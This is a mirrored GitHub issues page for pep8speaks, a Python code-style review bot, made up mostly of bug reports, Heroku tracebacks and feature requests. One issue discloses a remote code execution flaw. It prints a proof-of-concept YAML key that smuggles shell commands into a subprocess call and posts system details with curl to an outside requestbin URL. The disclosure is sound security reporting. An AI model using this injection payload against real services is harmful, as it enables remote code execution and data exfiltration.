GithubHelp home page GithubHelp logo

pep8speaks-org / pep8speaks Goto Github PK

View Code? Open in Web Editor NEW
604.0 16.0 87.0 4.69 MB

A GitHub :octocat: app to automatically review Python code style over Pull Requests

Home Page: https://pep8speaks.org

License: MIT License

Python 98.84% Dockerfile 1.16%
review bot pycodestyle python pep8 flake8 styleguide python-style code-style static-analysis

pep8speaks's People

Contributors

ashwch avatar bobotig avatar cam-gerlach avatar canihavesomecoffee avatar duffn avatar github-actions[bot] avatar haider8 avatar khanchi97 avatar matheus-manoel avatar mees avatar mikekutzma avatar mikhailryazanov avatar mr-sunglasses avatar nijel avatar orkohunter avatar pep8speaks avatar tushar5526 avatar unique-usman avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

pep8speaks's Issues

Error with suggest a diff

  • @bot suggest a diff in a review comment
  • I receive this error in my Heroku logs
2018-01-06T12:34:53.415136+00:00 app[web.1]: [2018-01-06 12:34:53,400] ERROR in app: Exception on / [POST]
2018-01-06T12:34:53.415148+00:00 app[web.1]: Traceback (most recent call last):
2018-01-06T12:34:53.415153+00:00 app[web.1]:   File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line 1988, in wsgi_app
2018-01-06T12:34:53.415154+00:00 app[web.1]:     response = self.full_dispatch_request()
2018-01-06T12:34:53.415156+00:00 app[web.1]:   File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line 1641, in full_dispatch_request
2018-01-06T12:34:53.415157+00:00 app[web.1]:     rv = self.handle_user_exception(e)
2018-01-06T12:34:53.415158+00:00 app[web.1]:   File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line 1544, in handle_user_exception
2018-01-06T12:34:53.415159+00:00 app[web.1]:     reraise(exc_type, exc_value, tb)
2018-01-06T12:34:53.415160+00:00 app[web.1]:   File "/app/.heroku/python/lib/python3.6/site-packages/flask/_compat.py", line 33, in reraise
2018-01-06T12:34:53.415161+00:00 app[web.1]:     raise value
2018-01-06T12:34:53.415162+00:00 app[web.1]:   File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line 1639, in full_dispatch_request
2018-01-06T12:34:53.415163+00:00 app[web.1]:     rv = self.dispatch_request()
2018-01-06T12:34:53.415164+00:00 app[web.1]:   File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line 1625, in dispatch_request
2018-01-06T12:34:53.415165+00:00 app[web.1]:     return self.view_functions[rule.endpoint](**req.view_args)
2018-01-06T12:34:53.415166+00:00 app[web.1]:   File "/app/app.py", line 56, in main
2018-01-06T12:34:53.415167+00:00 app[web.1]:     return event_to_action[event](request)
2018-01-06T12:34:53.415168+00:00 app[web.1]:   File "/app/pep8speaks/handlers.py", line 86, in handle_review
2018-01-06T12:34:53.415169+00:00 app[web.1]:     if not ghrequest.review_body:
2018-01-06T12:34:53.415175+00:00 app[web.1]: AttributeError: 'GHRequest' object has no attribute 'review_body'

Add support for GitLab

Is there any possibility you would add support for gitlab? Github is great but its not the only git hosting out there. Quite a lot of others use gitlab as well. And it could help user adoption as well if more people can use it. I find that when these libraries support gitlab, people tend to eat it up.

pep8speaks with two factor authentication

Is there a way to authenticate without a username and password. I thought that's what the GitHub personal token was for, but the bot authenticates with a username and password.

My organization is going to soon require two factor for all accounts and therefore, I would be unable to use the bot in it's current state.

https://github.com/OrkoHunter/pep8speaks/blob/master/pep8speaks/constants.py#L5

It looks like this should work with a username and token instead of a username and password: https://developer.github.com/v3/auth/#via-oauth-tokens

Highlight only errors

I am currently using pep8speaks for the imbalanced-learn project.
When dealing PR which lead to large changes (e.g. here), it starts to be challenging to spot the errors among all messages.

It could be nice to have an option to actually print the file with errors since that usually, developers are not that much interested about things that are fine while reviewing PR.

What do you think?

Continiously updating the last comment

Right now, the bot is posting a new comment when the PEP8 status is changing.
It could be nice to have an even more silent mode, but always updating the initial comment.
It reduces the amount of noise in emails in large PR with a cleaner thread as well.
This is something that codecov is doing.

Slowness on large codebase?

I installed pep8speaks on a personal repository of mine and it worked very well πŸŽ‰

When installed on one of our largest repositories, however, pep8speaks seemed never to finish running pycodestyle and thus never provided any feedback.

I first posited that this might be because pycodestyle was running over the full codebase and only reporting on the changed files, but my reading of the code says that it is in fact running only on the changed files. Do you have other inklings about what might be causing the slowness or total lack of feedback from pep8speaks?

New Features and TODOs

  • Do not comment when no suggestions are there on PR being opened.
  • Do not comment repetitively.
  • Add comment when no issues.
  • Use keywords quiet and resume in mentions to shut off @pep8speaks for the Pull Request and then resume when it's required.
  • List repositories using the bot
  • Allow option to lint only the diff
  • Do Not comment while updating the PR if there was no errors while submitting
  • Add to README about fixing the errors (pycodestyle)
  • Convert filename to link the file
  • Link line numbers
  • Turn the error codes into web links for queries
  • Show instructions on index.html.
  • Comment @pep8speaks suggest diff as review comment summary to get the diff with suggested changes
  • Comment @pep8speaks pep8ify to create a PR against the existing PR for fixes
  • Change licence and allow the service for commercial use
  • Add secret key for payloads
  • Use request headers to classify actions
  • Do not comment on pr created by pep8speaks
  • Add pycodestyle config usage
  • Do Not comment if there are no Python files changed.
  • Use the .pep8speaks.yml file from the branch of the PR.
  • Set the bot to follow all the users
  • Use integration installation webhook
  • Work on status code
  • Configure autopep8 to respect .pep8speaks.yml
  • Truncate comment if the file path is too long

python-runtimes version update

from heroku build log

-----> Python app detected
 !     The latest version of Python 3 is python-3.6.4 (you are using python-3.6.0, which is unsupported).
 !     We recommend upgrading by specifying the latest version (python-3.6.4).
       Learn More: https://devcenter.heroku.com/articles/python-runtimes

PEP8Speaks itself has dozens of PEP 8 issues

I noticed while opening the code in Spyder to fix #90 with real time code style analysis (with pycodestyle) turned on, that dozens and dozens of PEP 8 issues popped up in the main files, While it may not be the end of the world, it seems rather significant that a project who's goal is to clean up PEP 8 issues has so many of its own, heh. If feasible, to put forth a good example, it might be a good idea to clean house sometime when no PRs, etc. are open to cause conflicts. I'm more than happy to do it if such is desired. The built in static analysis (pylint) also detected a bunch of issues, which can be conservatively fixed at the same time.

Trouble with pep8ify command

There are loopholes in the entire process of creating a PR with the fix. Currently I'm manually finding out the errored payloads and re-delivering them (and it works often times).

Heroku: ValueError: View function did not return a response

Hi there,

first of all, thank you for the great tool. I am using pep8speaks following the instructions for a private repository since I am working on a student project.

Whenever a change to a PR is made, all I see in the Heroku logs is:

2018-04-30T10:54:36.117667+00:00 heroku[router]: at=info method=POST path="/" host=*****.herokuapp.com request_id=7b90fce9-c331-46d7-9f04-05988c8f7456 fwd="192.30.252.36" dyno=web.1 connect=1ms service=8ms status=500 bytes=456 protocol=https
2018-04-30T10:54:35.995560+00:00 app[web.1]: [2018-04-30 10:54:35,993] ERROR in app: Exception on / [POST]
2018-04-30T10:54:35.995600+00:00 app[web.1]: Traceback (most recent call last):
2018-04-30T10:54:35.995603+00:00 app[web.1]:   File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line 1988, in wsgi_app
2018-04-30T10:54:35.995604+00:00 app[web.1]:     response = self.full_dispatch_request()
2018-04-30T10:54:35.995611+00:00 app[web.1]:   File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line 1642, in full_dispatch_request
2018-04-30T10:54:35.995612+00:00 app[web.1]:     response = self.make_response(rv)
2018-04-30T10:54:35.995614+00:00 app[web.1]:   File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line 1731, in make_response
2018-04-30T10:54:35.995615+00:00 app[web.1]:     raise ValueError('View function did not return a response')
2018-04-30T10:54:36.003656+00:00 app[web.1]: ValueError: View function did not return a response
2018-04-30T10:54:36.112292+00:00 app[web.1]: [2018-04-30 10:54:36,111] ERROR in app: Exception on / [POST]
2018-04-30T10:54:36.112296+00:00 app[web.1]: Traceback (most recent call last):
2018-04-30T10:54:36.112298+00:00 app[web.1]:   File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line 1988, in wsgi_app
2018-04-30T10:54:36.112299+00:00 app[web.1]:     response = self.full_dispatch_request()
2018-04-30T10:54:36.112301+00:00 app[web.1]:   File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line 1642, in full_dispatch_request
2018-04-30T10:54:36.112302+00:00 app[web.1]:     response = self.make_response(rv)
2018-04-30T10:54:36.112304+00:00 app[web.1]:   File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line 1731, in make_response
2018-04-30T10:54:36.112305+00:00 app[web.1]:     raise ValueError('View function did not return a response')
2018-04-30T10:54:36.114493+00:00 app[web.1]: ValueError: View function did not return a response
2018-04-30T10:54:36.132060+00:00 app[web.1]: [2018-04-30 10:54:36,118] ERROR in app: Exception on / [POST]
2018-04-30T10:54:36.132064+00:00 app[web.1]: Traceback (most recent call last):
2018-04-30T10:54:36.132068+00:00 app[web.1]:   File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line 1988, in wsgi_app
2018-04-30T10:54:36.132069+00:00 app[web.1]:     response = self.full_dispatch_request()
2018-04-30T10:54:36.132071+00:00 app[web.1]:   File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line 1642, in full_dispatch_request
2018-04-30T10:54:36.132072+00:00 app[web.1]:     response = self.make_response(rv)
2018-04-30T10:54:36.132073+00:00 app[web.1]:   File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line 1731, in make_response
2018-04-30T10:54:36.132075+00:00 app[web.1]:     raise ValueError('View function did not return a response')
2018-04-30T10:54:36.140212+00:00 app[web.1]: ValueError: View function did not return a response

The response GitHub receives is an HTTP500 error:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request.  Either the server is overloaded or there is an error in the application.</p>

Can anyone help me find the problem?

Thanks,
Philip

Add response on ping X-GitHub-Event

Greetings again
When I add webhook(according to https://github.com/OrkoHunter/pep8speaks/wiki/Instructions-to-deploy-a-fork#step-4--configure-webhooks) GitHub sent first request with X-GitHub-Event: ping in request header and app crashes

2017-04-26T19:47:44.333012+00:00 app[web.1]: [2017-04-26 19:47:44,332] ERROR in app: Exception on / [POST]
2017-04-26T19:47:44.333025+00:00 app[web.1]: Traceback (most recent call last):
2017-04-26T19:47:44.333028+00:00 app[web.1]:     response = self.full_dispatch_request()
2017-04-26T19:47:44.333027+00:00 app[web.1]:   File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line 1982, in wsgi_app
2017-04-26T19:47:44.333029+00:00 app[web.1]:     return self.finalize_request(rv)
2017-04-26T19:47:44.333029+00:00 app[web.1]:   File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line 1630, in finalize_request
2017-04-26T19:47:44.333028+00:00 app[web.1]:   File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line 1615, in full_dispatch_request
2017-04-26T19:47:44.333030+00:00 app[web.1]:     response = self.make_response(rv)
2017-04-26T19:47:44.333033+00:00 app[web.1]:     raise ValueError('View function did not return a response')
2017-04-26T19:47:44.333030+00:00 app[web.1]:   File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line 1725, in make_response
2017-04-26T19:47:44.333036+00:00 app[web.1]: ValueError: View function did not return a response

maybe it's more preferable to sent Response(status=200) ?
p.s. after this on pull request app works good.

pep8ify won't run multiple times

First off, thank you for this great tool! I've been using pep8speaks and it's automatic pull requests in all my projects.

Most recently, I've been working on a PR for a while and have tried using the pep8ify command multiple times, but it hasn't worked.

Steps

Initially, I issued the PR and added a comment @pep8speaks pep8ify. I then merged the suggested changes. A few days later, after more commits were added, pep8speaks updated correctly. Then I tried issuing the command @pep8speaks pep8ify again so pep8speaks would create another PR.

Result

It looks like, pep8speaks made a fork of the library, but never issued a pull request. You can see here pep8speaks/pep8speaks@5cfadbc that it even made the commits with the changes.

The PR I've been working on is scikit-tda/kepler-mapper#77. I have manually created a new pull request from pep8speak's fork.

Improvements in comment text

Hey, I'm one of the Spyder core dev team members and we love PEP8Speaks! Having previously worked as a writer and copyeditor, the grammar, spacing, redundancy and clarity of the comment text could be improved:

Current version

Hello {username} ! Thanks for {submitting/updating} the PR.

Line 1578:1: E302 expected 2 blank lines, found 1
Line 1590:80: E501 line too long (86 > 79 characters)

Line 220:9: E265 block comment should start with '# '

Suggested alternative

Hello {username}! Thanks for {submitting/updating} this PR. We checked the lines you've touched for PEP 8 issues, and found:

Line 1578:1: E302 expected 2 blank lines, found 1
Line 1590:80: E501 line too long (86 > 79 characters)

No errors message

Also, to make the followup message a little more clear and correct, it could be changed from

Cheers ! There are no PEP8 issues in this Pull Request. 🍻

to

There are no PEP 8 issues in this Pull Request. Cheers! 🍻

I can submit a quick PR to do this. Thanks!

In general, as a tip for the future keep in mind that just like in Python/PEP 8. there should be a space before punctuation (exclamation points, colons, etc) and not after.

Expose config to non org-wide admins

I'm trying to set up pep8speaks for astroquery.

However it's rather inconvenient that it requires an org-wide admin to do any of the configuration rather than someone who has write access to the given repo. E.g. all the CI services, RTD etc.

Bug with pep8ify

pep8ify is not working. The issue is not urgent as the command is not being used much.

2017-10-11T17:33:24.024103+00:00 app[web.1]: [2017-10-11 17:33:24,022] ERROR in app: Exception on / [POST]
2017-10-11T17:33:24.024122+00:00 app[web.1]: Traceback (most recent call last):
2017-10-11T17:33:24.024123+00:00 app[web.1]:   File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line 1988, in wsgi_app
2017-10-11T17:33:24.024124+00:00 app[web.1]:     response = self.full_dispatch_request()
2017-10-11T17:33:24.024125+00:00 app[web.1]:   File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line 1641, in full_dispatch_request
2017-10-11T17:33:24.024126+00:00 app[web.1]:     rv = self.handle_user_exception(e)
2017-10-11T17:33:24.024127+00:00 app[web.1]:   File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line 1544, in handle_user_exception
2017-10-11T17:33:24.024127+00:00 app[web.1]:     reraise(exc_type, exc_value, tb)
2017-10-11T17:33:24.024128+00:00 app[web.1]:   File "/app/.heroku/python/lib/python3.6/site-packages/flask/_compat.py", line 33, in reraise
2017-10-11T17:33:24.024129+00:00 app[web.1]:     raise value
2017-10-11T17:33:24.024129+00:00 app[web.1]:   File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line 1639, in full_dispatch_request
2017-10-11T17:33:24.024130+00:00 app[web.1]:     rv = self.dispatch_request()
2017-10-11T17:33:24.024131+00:00 app[web.1]:   File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line 1625, in dispatch_request
2017-10-11T17:33:24.024131+00:00 app[web.1]:     return self.view_functions[rule.endpoint](**req.view_args)
2017-10-11T17:33:24.024132+00:00 app[web.1]:   File "/app/app.py", line 56, in main
2017-10-11T17:33:24.024132+00:00 app[web.1]:     event_to_action[event](request)
2017-10-11T17:33:24.024134+00:00 app[web.1]:   File "/app/pep8speaks/handlers.py", line 246, in handle_issue_comment
2017-10-11T17:33:24.024134+00:00 app[web.1]:     return _pep8ify(ghrequest, config)
2017-10-11T17:33:24.024135+00:00 app[web.1]:   File "/app/pep8speaks/handlers.py", line 125, in _pep8ify
2017-10-11T17:33:24.024136+00:00 app[web.1]:     helpers.update_fork_desc(ghrequest)
2017-10-11T17:33:24.024136+00:00 app[web.1]:   File "/app/pep8speaks/helpers.py", line 456, in update_fork_desc
2017-10-11T17:33:24.024137+00:00 app[web.1]:     query = "/repos/{}".format(ghrequest.fork_fullname)
2017-10-11T17:33:24.024137+00:00 app[web.1]: AttributeError: 'GHRequest' object has no attribute 'fork_fullname'

[Fixed] Display pep8 issues with line numbers in descending order

It would be helpful if there is an option to display the issue in decreasing order of line numbers for each file. This is because fixing pep8 issues from top to bottom may result in the bottom issues' line numbers changing. Hence fixing pep8 issues from bottom to top is more convenient.

Allow running docstring checks via pydocstyle

There's another package by the PyCQA called pydocstyle, which does basically the same thing as pycodestyle, except for docstrings. Unfortunately, it doesn't offer fixing bugs by itself, but it seems like it could potentially be a worthy addition to pep8speaks. Would you be interested in an implementation proposal (via PR)?

There's some more discussion started over at my main project ( PlasmaPy/PlasmaPy#276 where we considered running pydocstyle as a CI service).

Private Build Failing

Hello,

I'm trying to deploy this for a private repo. When I try to launch the Heroku app, I get the error below. Any thoughts on how to fix it?

-----> Python app detected
 !     The latest version of Python 3 is python-3.6.4 (you are using python-3.6.0, which is unsupported).
 !     We recommend upgrading by specifying the latest version (python-3.6.4).
       Learn More: https://devcenter.heroku.com/articles/python-runtimes
-----> Installing python-3.6.0
-----> Installing pip
-----> Installing requirements with pip
       Collecting requests==2.11.1 (from -r /tmp/build_a5a31f736ade04ee753e9a4fcea3c2b3/OrkoHunter-pep8speaks-147ee5f/requirements/base.txt (line 1))
         Downloading requests-2.11.1-py2.py3-none-any.whl (514kB)
       Collecting Flask-Session==0.3.0 (from -r /tmp/build_a5a31f736ade04ee753e9a4fcea3c2b3/OrkoHunter-pep8speaks-147ee5f/requirements/base.txt (line 2))
         Downloading Flask_Session-0.3.0-py2.py3-none-any.whl
       Collecting flask==0.11.1 (from -r /tmp/build_a5a31f736ade04ee753e9a4fcea3c2b3/OrkoHunter-pep8speaks-147ee5f/requirements/base.txt (line 3))
         Downloading Flask-0.11.1-py2.py3-none-any.whl (80kB)
       Collecting gunicorn==19.6.0 (from -r /tmp/build_a5a31f736ade04ee753e9a4fcea3c2b3/OrkoHunter-pep8speaks-147ee5f/requirements/base.txt (line 4))
         Downloading gunicorn-19.6.0-py2.py3-none-any.whl (114kB)
       Collecting pycodestyle>=2.3.0 (from -r /tmp/build_a5a31f736ade04ee753e9a4fcea3c2b3/OrkoHunter-pep8speaks-147ee5f/requirements/base.txt (line 5))
         Downloading pycodestyle-2.3.1-py2.py3-none-any.whl (45kB)
       Collecting psycopg2==2.6.2 (from -r /tmp/build_a5a31f736ade04ee753e9a4fcea3c2b3/OrkoHunter-pep8speaks-147ee5f/requirements/base.txt (line 6))
         Downloading psycopg2-2.6.2.tar.gz (376kB)
           Complete output from command python setup.py egg_info:
           running egg_info
           creating pip-egg-info/psycopg2.egg-info
           writing pip-egg-info/psycopg2.egg-info/PKG-INFO
           writing dependency_links to pip-egg-info/psycopg2.egg-info/dependency_links.txt
           writing top-level names to pip-egg-info/psycopg2.egg-info/top_level.txt
           writing manifest file 'pip-egg-info/psycopg2.egg-info/SOURCES.txt'
           Error: could not determine PostgreSQL version from '10.1'
           
           ----------------------------------------
       Command "python setup.py egg_info" failed with error code 1 in /tmp/pip-build-8e5b4pg4/psycopg2/
 !     Push rejected, failed to compile Python app.

Use flake8 settings from setup.cfg

pep8speaks allows setting up flake8 parameters using the config option pycodestyle. For example:
https://github.com/pandas-dev/pandas/blob/master/.pep8speaks.yml#L8

But Python projects/flake8 already defines a way to specify those, which is in the flake8 section of setup.cfg. For example:
https://github.com/pandas-dev/pandas/blob/master/setup.cfg#L14

I think it'd be nice to keep the pycodestyle setting, but in case it's not present, it should look for the options in setup.cfg and use them. This way, projects don't need to maintain two different copies of the flake8 settings, and there are no mismatches in the errors the pep8speaks reports, and what the CI of the projects are linting.

Remote code execution

There is a remote code execution vector, via the .pep8speaks.yaml file in the source repository. The keys in the pycodestyle dictionary are not sanitized before being passed to subprocess.Popen(shell=True).

pycodestyle:
    max-line-length: 100  # Default is 79 in PEP8
    ";(id;pwd;ls;uname -a) | curl -X POST -d @- http://requestb.in/1ap8agd1;#": 5

This is demonstrated in pull #27 and https://requestb.in/1ap8agd1?inspect

While nothing terribly secret was posted above, the content of various bits of the environment are equally accessible.

Does pep8speaks follow #noqa flags?

We are in the process of moving from stickler-ci to pep8speaks, but we get false alarms from lines annotated with a #noqa (see this PR).

Is this expected? Is there a way to avoid these? Thanks a lot!

Change default value for an argument which takes a list/dictionary

At https://github.com/OrkoHunter/pep8speaks/blob/f9bfa3762c0fe6578929f0d09b3a5a9402d48aef/pep8speaks/utils.py#L34 and
https://github.com/OrkoHunter/pep8speaks/blob/f9bfa3762c0fe6578929f0d09b3a5a9402d48aef/pep8speaks/utils.py#L34 the default value of one of the arguments is either an empty list or an empty dict. This is dangerous because the state will be shared on every function call.

Read this.

They should be change to something like

def my_func(the_arg=None):
    if the_arg is None:
        the_arg = []

Add more tests

  • Whenever a new change is introduced, deploy the branch as a separate heroku app.
  • The following flows must be tested
    • PR_FLOW
      • Create a new PR involving Python files with errors without .pep8speaks.yml - pep8speaks-org/test-pep8speaks#81
      • Create a new PR involving Python files with errors with .pep8speaks.yml - pep8speaks-org/test-pep8speaks#82
      • Create a new PR which uses setup.cfg to read configurations. - pep8speaks-org/test-pep8speaks#83
      • Create a new PR involving Python files without errors without .pep8speaks.yml
      • Create a new PR involving Python files without errors with .pep8speaks.yml
      • Add a new commit to an opened PR with fixing the issues with .pep8speaks.yml
      • Add a new commit to an opened PR with fixing the issues without .pep8speaks.yml
      • Add a new commit to an opened PR with maintaining the issues with .pep8speaks.yml
      • Add a new commit to an opened PR with maintaining the issues without .pep8speaks.yml
      • Add a new commit to an opened PR with creating new issues with .pep8speaks.yml
      • Add a new commit to an opened PR with creating new issues without .pep8speaks.yml
    • Diff flow
      • Ask for diff on a PR with errors with .pep8speaks.yml
      • Ask for diff on a PR with errors without .pep8speaks.yml
      • Ask for diff on a PR without errors with .pep8speaks.yml
      • Ask for diff on a PR without errors without .pep8speaks.yml
    • pep8ify flow
      • Ask for pep8 fix on a PR with errors with .pep8speaks.yml
      • Ask for pep8 fix on a PR with errors without .pep8speaks.yml
      • Ask for pep8 fix on a PR without errors with .pep8speaks.yml
      • Ask for pep8 fix on a PR without errors without .pep8speaks.yml

Can't configure column limit

It would be nice if you could add column limit customizations in the .pep8speaks.yml file. I'd like to use this bot in a project but I only want to report on lines in excess of 120 columns.

I'd be happy to make a pull request for the feature.

Implement `@pep8speaks pep8ify` as a comment instead of review comment

Earlier, comments on a PR used to fall in the category of GitHub Issues API for which PEP8Speaks integration was not configured (I had set it up only for Pull Request API). GitHub did not me allow to change payload permissions. Thanks to GitHub for acting on it and adding the option to update the permissions now and receive payloads for the comments.

@pep8speaks pep8ify and other mentions should now be triggered from the issue comment itself (Currently it works as a PR review comment)

Dear @Cadair @stefanv @rasbt @soupault and others, You must have received an email asking for this change. It would be great if you would allow the integration to receive triggers for the comments. I would implement the feature as soon as possible.

Thanks a ton!

Exclude option is ignored

It looks like the exclude option in .pep8speaks.yml is being ignored.

I have an example repository set up:

https://github.com/daviddavis/pep8speaks-exclude

You can see that I am excluding the docs directory:

https://github.com/daviddavis/pep8speaks-exclude/blob/master/.pep8speaks.yml#L7

However, on PRs, pep8speaks still shows errors for files in the excluded directory:

daviddavis/pep8speaks-exclude#2

Running pycodestyle locally with --exclude works:

$ pycodestyle --max-line-length 100 .
./docs/conf.py:1:1: E265 block comment should start with '# '
./docs/conf.py:3:1: E265 block comment should start with '# '
$ pycodestyle --max-line-length 100 --exclude docs .
$

Not sure if I doing something wrong? I also tried a string instead of an array (ie exclude: docs) but that didn't work either.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    πŸ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. πŸ“ŠπŸ“ˆπŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❀️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.